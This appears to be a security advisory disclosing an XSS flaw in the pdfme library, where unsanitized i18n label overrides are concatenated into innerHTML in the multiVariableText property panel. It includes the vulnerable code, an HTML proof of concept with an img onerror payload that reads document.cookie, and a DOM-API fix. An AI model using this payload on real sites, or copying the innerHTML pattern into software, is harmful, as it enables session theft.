PDFME has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel

Summary

The multiVariableText property panel in @pdfme/schemas constructs HTML via string concatenation and assigns it to innerHTML using unsanitized i18n label values. An attacker who can control label overrides passed through options.labels can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no {variables} in its text.

Details

When a user selects a multiVariableText schema field that contains no {variable} placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into innerHTML.

Vulnerable sink — packages/schemas/src/multiVariableText/propPanel.ts:65-71:

// Use safe string concatenation for innerHTML
const typingInstructions = i18n('schemas.mvt.typingInstructions');
const sampleField = i18n('schemas.mvt.sampleField');
para.innerHTML =
  typingInstructions +
  ` <code style="color:${safeColorValue}; font-weight:bold;">{` +
  sampleField +
  '}</code>';

The comment on line 64 claims "safe string concatenation" but the result is assigned to innerHTML with no HTML escaping applied to typingInstructions or sampleField.

i18n lookup has no escaping — packages/ui/src/i18n.ts:903:

export const i18n = (key: keyof Dict, dict?: Dict) => (dict || getDict(DEFAULT_LANG))[key];

This is a plain dictionary lookup — no HTML encoding or sanitization.

Label override via deep merge — packages/ui/src/components/AppContextProvider.tsx:57-63:

let dict = getDict(lang);
if (options.labels) {
  dict = deepMerge(
    dict as unknown as Record<string, unknown>,
    options.labels as unknown as Record<string, unknown>,
  ) as typeof dict;
}

User-supplied options.labels values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as z.record(z.string(), z.string()) — enforcing type but not content safety.

Inconsistency: The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.

PoC

1. Create a minimal app that passes attacker-controlled labels:

<html>
<body>
<div id="designer-container" style="width:100%;height:700px;"></div>
<script type="module">
import { Designer } from '@pdfme/ui';
import { multiVariableText } from '@pdfme/schemas';

const template = {
  basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] },
  schemas: [[{
    type: 'multiVariableText',
    name: 'field1',
    text: 'plain text with no variables',
    content: '{}',
    variables: [],
    position: { x: 20, y: 20 },
    width: 100,
    height: 20,
    readOnly: true,
  }]],
};

new Designer({
  domContainer: document.getElementById('designer-container'),
  template,
  plugins: { multiVariableText },
  options: {
    labels: {
      'schemas.mvt.typingInstructions':
        '<img src=x onerror="document.title=document.cookie">Inject: ',
      'schemas.mvt.sampleField': 'safe',
    },
  },
});
</script>
</body>
</html>

2. Open the application in a browser.

3. Click on the multiVariableText field (field1) in the Designer canvas to select it.

4. Observe: The property panel renders the injected HTML. The onerror handler executes, setting document.title to the page's cookies. In a real attack, this would exfiltrate session tokens to an attacker-controlled server.

Impact

• Session hijacking: Attacker-injected JavaScript can steal authentication cookies and tokens from any user who opens the Designer.
• DOM manipulation: The injected script runs in the application's origin, allowing phishing overlays, form hijacking, or data exfiltration.
• Stored XSS potential: In multi-tenant applications where labels are stored in a database or fetched from an API, a single poisoned label entry affects all users who subsequently open the Designer.
• Scope change: The XSS payload executes in the embedding application's browser context, escaping the pdfme component's security boundary.

Recommended Fix

Replace innerHTML with safe DOM APIs in packages/schemas/src/multiVariableText/propPanel.ts:

// BEFORE (vulnerable):
para.innerHTML =
  typingInstructions +
  ` <code style="color:${safeColorValue}; font-weight:bold;">{` +
  sampleField +
  '}</code>';

// AFTER (safe):
para.appendChild(document.createTextNode(typingInstructions + ' '));
const codeEl = document.createElement('code');
codeEl.style.color = safeColorValue;
codeEl.style.fontWeight = 'bold';
codeEl.textContent = `{${sampleField}}`;
para.appendChild(codeEl);

This ensures that i18n label values are always treated as text content, never parsed as HTML, regardless of their source.